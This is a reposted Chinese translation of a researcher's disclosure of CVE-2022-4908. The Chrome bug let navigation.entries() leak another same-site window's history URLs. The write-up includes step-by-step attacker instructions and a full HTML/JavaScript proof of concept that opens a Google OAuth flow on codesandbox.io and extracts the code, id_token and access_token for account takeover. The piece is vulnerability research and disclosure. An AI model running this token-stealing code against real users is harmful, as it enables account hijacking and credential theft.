CVE-2022-4908:使用导航 API 绕过 Chrome SOP

admin 2023年10月17日18:17:17评论21 views字数 8295阅读27分39秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


文章首发于个人博客:https://mybeibei.net,点击最下方“阅读原文”可直接跳转查看。


CVE-2022-4908:使用导航 API 绕过 Chrome SOP

背景介绍

去年,国外一位白帽子在 Chrome 中发现了同源策略 (SOP) 绕过,该漏洞允许攻击者泄露另一个窗口导航历史记录的完整 URL。虽然可以进行 cross-origin 攻击,但只有当两个窗口同时被视为 same-site 时,这些攻击才有可能发生(如果你不熟悉 origin 的概念)可以参看: https://web.dev/same-site-same-origin/ 不过,在某些情况下,只要攻击者可以在目标域的任何子域或同级域上执行 JavaScript,那么就可以利用该漏洞执行完整的帐户接管。

灵感

漏洞发现的灵感来自于 Gareth Heyes 的一篇博客文章,标题为“Using Hackability to uncover a Chrome infoleak(利用 Hackability 发现 Chrome 信息泄露)”。在这篇文章中,Gareth 解释了他如何在将框架导航到 about:blank 后,使用他的工具 Hackability Inspector 发现窗口对象上泄漏的 baseURI 属性,一个有趣的漏洞,它的局限在于既需要frameable又可以包含自己的 iframe。阅读这篇文章让原作者第一次接触 到了 Hackability Inspector,它本质上是一个用于搜索和测试 JavaScript 对象属性的工具。于是原作者尝试使用该工具来理解所描述的漏洞,并查看 Gareth 是否有所遗漏。这可能是利用以前的研究发现新漏洞的最简单方法,很多时候,最初的研究人员和修复问题的开发人员都不曾想到要对边缘情况进行测试。除了已经修补的 baseURI 泄漏之外,使用 Gareth 的工具搜索 window 对象并没有带来任何额外的结果,但属性并不是对象上唯一可能泄漏数据的字段,出于运气和好奇心,白帽小哥决定测试最近遇到的导航 API,并进一步发现了一些隐藏的东西。

导航 API

在阅读 Gareth 的博客文章之前几周,白帽小哥花了一些时间尝试了解 Chrome 中的“新”导航 API(现阶段,导航 API 仅在 Chromium 浏览器中实现)。本文不会详细介绍 API 的具体用法(有兴趣可以参阅 MDN)。简单来说,导航 API 旨在解决‘旧’的历史记录 API 存在的一些已知问题。这两个 API 之间的一个显著区别是它们如何处理从 iframe 或跨站点请求发起的导航。导航 API 删除了有时难以遵循的历史逻辑,而只考虑在单个框架内启动的导航。 该界面还有一些有趣的功能,对安全研究人员来说可能值得深入研究。 首先,导航 API 允许应用程序拦截导航事件,在阅读 API 时,白帽小哥的目标是找到导航 API 本身允许打破同源策略(SOP)的某种方法。假设如前所述拦截请求功能可以让我们做一些‘邪恶’的事,API 只影响从特定框架内部发起的导航,并且没有发现当前实现有任何问题。导航 API 中在安全性方面最著名的部分就是navigation.navigate() 方法。该方法允许一种新的载体,可以利用 JavaScript URL 模式。它可以用 navigation.navigate("javascript:PAYLOAD") 替换 location = "javascript:PAYLOAD" ,尽管这本身不是 API 实现中的漏洞,而是浏览器导航的一个功能,但在处理跨站脚本过滤器绕过时需要牢记这一点。同一 API 的另一个较少被提及的功能是 navigation.entries() 方法。此方法允许开发人员访问当前窗口会话的历史条目列表。文档中指出:

The entries() method of the Navigation interface returns an array of NavigationHistoryEntry objects representing all existing history entries. 导航接口的entries()方法返回表示所有现有历史记录条目的NavigationHistoryEntry对象的数组。https://developer.mozilla.org/en-US/docs/Web/API/Navigation/entries

对于 NavigationHistoryEntry 文档中指出:

The Navigation API only exposes history entries created in the current browsing context that have the same origin as the current page 导航 API 仅公开在当前浏览上下文中创建的与当前页面具有相同来源的历史记录条目 https://developer.mozilla.org/en-US/docs/Web/API/NavigationHistoryEntry

每个历史记录条目都包含完整的 URL(例如,scheme://[email protected]/path?query=params#fragment), 该数组包含在当前导航会话下创建的所有条目,如文档中所说,该列表永远不会包含来自其他来源的历史条目,调用该方法只会为你提供当前导航上下文(特定来源中的窗口)的条目。参阅下图中窗口会话中的示例,该页面已导航 23 次,并且所有这些 URL 都可以通过导航 API 访问。 CVE-2022-4908:使用导航 API 绕过 Chrome SOP 另外,需要注意 navigation.entries 是一个方法而不是一个属性,当我们回到 Hackability Inspector 时,这一点尤为重要!现在准备好回到 CVE-2022-4908 中的 SOP 绕过,首先,读取会话的历史 URL 完整列表的能力并不存在于 CVE-2022-4908 中,而是在引入导航 API 之前的 JavaScript。白帽小哥认为当其它影响途径缺失时,有机会利用历史条目与 XSS 结合来实现信息泄漏。由于该列表包含完整的 URL,因此没有任何东西可以阻止该列表在 URL 中包含敏感信息,例如 OAuth Token、用户名/密码或查询参数中的 PII 级机密信息。

使用 navigation.entries() 绕过 SOP

回到 Gareth 的博客文章,在测试和验证 Gareth 的发现时,白帽小哥注意到他的工具专门帮助他在 JavaScript 对象上搜索 properties ,使用该工具可以搜索纯文本泄漏,例如所有窗口对象属性中的 URL,并快速识别任何潜在的 SOP 绕过。但是,该工具无法访问从调用同一对象上的方法返回的任何值。随着对导航 API 研究的不断深入,白帽小哥想知道历史数组中的条目是否也会泄漏一些信息。Gareth 的工具无法帮助我们找到此类泄漏,因为正如之前所说,该列表是在方法调用时生成的,与 baseURI 相比,它不是对象的静态属性,但令人惊讶的是,在被劫持的 iframe 中调用 navigation.entries() (iframe 正处于 about:blank 状态)确实返回了与原点相关联的历史数组,而原点在导航到 about:blank 之前就已经存在于该框架中了。结果发现,Gareth 的 POC 在同一顶级域 portswigger-labs.net 下使用了两个独立的子域,这非常重要。对泄漏的进一步测试表明,只有当子域 “劫持 “了同一顶级域(或顶级域本身)下的窗口或框架时,才会出现此漏洞,具体可参见 Chromium 漏洞报告,相关讨论如下:

NavigationApi usuaslly gets entries() from the browser process for a cross-document navigation, but when navigating to about:blank, we copy from the previous NavigationApi object (because the browser process isn’t involved in about:blank navigations). NavigationApi通常从浏览器进程获取entries()来进行跨文档导航,但是当导航到about:blank时,我们从之前的NavigationApi对象复制(因为浏览器进程不参与about:blank导航)。I didn’t consider the cross-origin -> about:blank case in implementing that copy logic. 在实现该复制逻辑时,我没有考虑跨源 -> about:blank 情况。

As creis@ noted, site isolation defends against the worst variants of this leak (only cross-origin-but-same-site will leak with site isolation enabled; without it, cross-site will leak, too). 正如 creis@ 所指出的,站点隔离可以防御这种泄漏的最严重变体(启用站点隔离后,只有跨源但同一站点才会泄漏;如果没有启用站点隔离,跨站点也会泄漏)。That’s because the cross-site case swaps processes when navigating to about:blank with site isolation enabled, and that allows us to use the correct logic in the browser process. 这是因为跨站点情况在启用站点隔离的情况下导航到 about:blank 时会交换进程,这使我们能够在浏览器进程中使用正确的逻辑。这一注意事项(仅影响同一站点域)确实降低了这一发现的影响,但它仍然具有原始 baseURI 泄漏中不存在的特征。

  • 攻击者可以针对任何窗口,无需将目标设置为frameable。

  • 目标窗口内不需要 iframe,因为如果需要,我们可以直接重定向目标窗口本身。

  • 攻击者可以泄露完整的历史列表,从而泄露多个导航中的 URL,而不仅仅是当前位置的。

  • 如果网站依赖于导航状态,则该状态也可能会泄露。

简单的概念验证 (POC)

  1. 攻击者创建一个页面,该页面将目标(同一站点)跨源页面构建在 iframe 中,或者,攻击者页面将目标页面添加为将在新窗口中打开的链接。第二种方法需要用户交互,但适用于非frameable的页面。

  2. 攻击者页面使用其对新窗口对象的引用,并使用 target.location=”about:blank” 将窗口导航到 about:blank

  3. 攻击者页面现在可以访问目标窗口的文档,并且可以执行 target.navigation.entries() 来访问目标窗口的完整 URL。

  4. 然后攻击窗口可以使用 target.history.back() 来恢复目标窗口。因此,该攻击可以用作定期轮询历史记录的记录器,如果受害者用户在目标页面上导航,则攻击者可以收集所有访问过的 URL。

可以在下面的动图中看到这样的示例:

视频演示请点击下方“阅读原文看。

请注意,在攻击者泄漏调用 history.back() 的 URL 后,iframe 如何闪烁然后恢复其会话。

现实生活中的POC:Oauth肮脏之舞

很明显,在攻击中使用它需要访问目标域的子域(或同级域),这个限制并不像听起来那么糟糕。每个漏洞赏金的人都知道,在随机子域上发现 XSS 是很常见的,而且还有大量的子域接管可用于相同目的,使用这些类型的非主站点漏洞来对主站点产生影响通常更困难,有鉴于此,此处描述的漏洞对于将任何子域劫持升级为针对主站点的有针对性的攻击非常有用。为了证明该观点,白帽小哥想提供一个具有真正影响力的概念证明。白帽小哥想到另一篇由 Frans Rosen 撰写的一篇名为“在登录 OAuth 流程中使用“肮脏之舞”进行帐户劫持”的精彩文章,其中描述了如何滥用 OAuth 流程中的损坏状态,以找到窃取访问令牌和 OAuth 代码的新颖方法。 https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/ 由于现在可以跨源窃取 URL,因此我们应该能够将此攻击与 Frans 的技术结合使用,将 URL 泄漏升级为帐户接管。白帽小哥针对最喜欢的服务 Gitlab.com 测试了该技术,并成功“劫持”了一个帐户,同时假设在 forums.gitlab.com 上有 XSS 可供使用,从 forums.gitlab.com 访问 gitlab.com 没有问题,因为正如所希望的那样,它们是同一站点,同时仍然是跨源的。在我想象出 POC 之后,白帽小哥顿悟了:也许可以通过在“GitLab 页面”(用户内容托管在 gitlab.io 下的网站)上托管攻击payload来接管其它“页面”,从而创建一个合适的 POC 用户会话。OAuth 流程也可以在这些页面上中断。前面描述的 “同站点 “是指共享一个顶级域的两个域,但事实证明,这种描述有点简化了。在现代浏览器中,存在公共后缀列表(PSL)的概念,该列表包含所谓的 eTLD(有效顶级域名),它是我们熟知的“经典顶级域名”的扩展,例如 .com 和 .org 。在日常对话中,我们可能将 example.com 称为顶级域,PSL 使公司和组织能够注册自己的顶级域名。就 gitlab.io 而言,它实际上就在该列表中。因此,.gitlab.io 是一个顶级域,就像 .com 一样,并且两个网站 site1.gitlab.io 和 site2.gitlab.io 不被视为相同-地点,它们与 example1.com 和 example2.com 一样不同。回到真正的 POC,白帽小哥想找到一个“子域XSS”的网站,同时用户内容不托管在这些 eTDL 之下。白帽小哥在 https://codesandbox.io 找到了他想要的东西。该站点允许任何用户创建可在 https://mytestapp.codesandbox.io 下直接访问的示例代码项目,并且 Codesandbox 允许使用 GitHub、Google 或 Apple 进行 OAuth 身份验证。这具备了进行攻击所需的所有要素。 攻击者

  1. 在codesandbox.io上创建一个包含如下HTML代码的POC沙箱

    <!DOCTYPE html>

    <html>

    <head> </head>

    <body>

    <div id="start"></div>

    <script>

    function run(flow) {

    var win = open(

    `https://accounts.google.com/o/oauth2/v2/auth/identifier?client_id=267669956141-f6kd1f8k228hh186imh1j7gbopgi4ln3.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fcodesandbox.io%2Fauth%2Fgoogle%2Fcallback&response_type=${flow}&scope=email%20profile&state=${state}&service=lso&o2v=2&flowName=GeneralOAuthFlow`

    );

    setTimeout(() => {

    win.location = "about:blank";

    setTimeout(() => {

    const leak = new URL(win.navigation.entries()[0].url);

    const parsedHash = new URLSearchParams(leak.hash.substring(1));

    const id_token = parsedHash.get("id_token");

    const token = parsedHash.get("access_token");

    const code = parsedHash.get("code");

    const state = url.searchParams.get("state");

    const attackerLink = `https://codesandbox.io/auth/google/callback?state=${state}&code=${code}&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none`;

    document.write(attackerLink);

    }, 2000);

    }, 2000);

    }

    const entry = document.getElementById("start");

    const url = new URL(location.href);

    const state = url.searchParams.get("state");

    entry.innerHTML = `<button onclick="run('code+id_token&nonce=hej')">

    Get code and id_token

    </button>

    <br/>

    <button onclick="run('token')">

    Get Google API token

    </button>`;

    </script>

    </body>

    </html>

    generic

    1.51 KB

    © Guge's Blog

  2. 转到 https://codesandbox.io/auth/google 并从 OAuth 链接复制状态参数,而无需实际登录。

  3. 将攻击者链接发送给受害者,并在查询参数中包含“state”。下面是白帽小哥作为攻击者的 POC:https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC

受害者

  1. 访问 https://codesandbox.io/signin,使用 Google OAuth 创建帐户并登录

  2. 访问攻击者的链接https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC

  3. 页面加载时会有两个按钮,一个会泄露code和id_token,另一个会泄露Google API access_token

  4. 点击按钮会打开一个新窗口,攻击需要4秒,完成后,转到原始选项卡,将在页面上找到这样的链接:

    https://codesandbox.io/auth/google/callback?state=STATE&code=CODE&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none

    generic

    231 Bytes

    © Guge's Blog

    该 POC 包括一些可以轻松被自动化取代的手动步骤。可以通过安装旧版本的 Chrome 并按照步骤进行操作来自行测试(Chrome v.105)

    视频演示请点击下方“阅读原文”查看。

漏洞修复

白帽小哥于 2022 年 9 月 2 日报告了该漏洞。Chromium 团队接受了该漏洞并在 Chrome v.107 中进行了修复。完整报告查看:https://bugs.chromium.org/p/chromium/issues/detail?id=1359122


文章原文:https://joaxcar.com/blog/2023/10/06/cve-2022-4908-sop-bypass-in-chrome-using-navigation-api/?ref=weekly.infosecwriteups.com

以上内容由骨哥翻译并整理。

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

原文始发于微信公众号(骨哥说事):CVE-2022-4908:使用导航 API 绕过 Chrome SOP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月17日18:17:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-4908:使用导航 API 绕过 Chrome SOPhttp://cn-sec.com/archives/2121859.html

发表评论

匿名网友 填写信息